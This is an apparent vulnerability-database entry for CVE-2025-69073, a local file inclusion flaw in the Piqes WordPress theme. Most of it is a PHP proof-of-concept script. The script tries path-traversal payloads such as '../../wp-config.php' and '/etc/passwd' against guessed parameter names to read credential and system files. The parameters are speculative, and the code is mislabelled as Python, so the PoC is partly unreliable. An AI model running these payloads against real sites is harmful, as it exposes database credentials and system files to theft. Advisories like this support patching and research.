CVE-2025-69073

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Piqes piqes allows PHP Local File Inclusion.This issue affects Piqes: from n/a through <= 1.0.11.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Piqes <= 1.0.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-69073 PoC - Piqes Theme Local File Inclusion
 * Target: AncoraThemes Piqes <= 1.0.11
 * Author: Security Researcher
 * Note: For authorized security testing only
 */

// Target configuration
$target = "http://target-site.com";
$target_path = "/wp-content/themes/piqes/";

// Vulnerable parameter (typical LFI parameter names in themes)
$vuln_params = [
    "template",
    "page",
    "file",
    "theme",
    "style",
    "script"
];

// Payloads for file reading
$payloads = [
    // Read wp-config.php
    "../../wp-config.php",
    "../../wp-config.php%00",
    "/etc/passwd",
    "/etc/hosts",
    // Path traversal variants
    "....//....//....//wp-config.php",
    "..\..\..\wp-config.php"
];

function exploit_lfi($target, $path, $param, $payload) {
    $url = $target . $path . "?" . $param . "=" . urlencode($payload);
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return [
        'url' => $url,
        'http_code' => $http_code,
        'response' => $response
    ];
}

// Execute exploitation
foreach ($vuln_params as $param) {
    foreach ($payloads as $payload) {
        $result = exploit_lfi($target, $target_path, $param, $payload);
        if ($result['http_code'] == 200 && 
            (strpos($result['response'], 'DB_NAME') !== false || 
             strpos($result['response'], 'root:') !== false)) {
            echo "[!] VULNERABLE! Found sensitive data with param: $param\n";
            echo "URL: " . $result['url'] . "\n";
            break 2;
        }
    }
}

echo "[*] Testing completed\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-69073
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-69073
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-69073/
[4] VulDB https://vuldb.com/cve/CVE-2025-69073
[5] https://patchstack.com/database/Wordpress/Theme/piqes/vulnerability/wordpress-piqes-theme-1-0-11-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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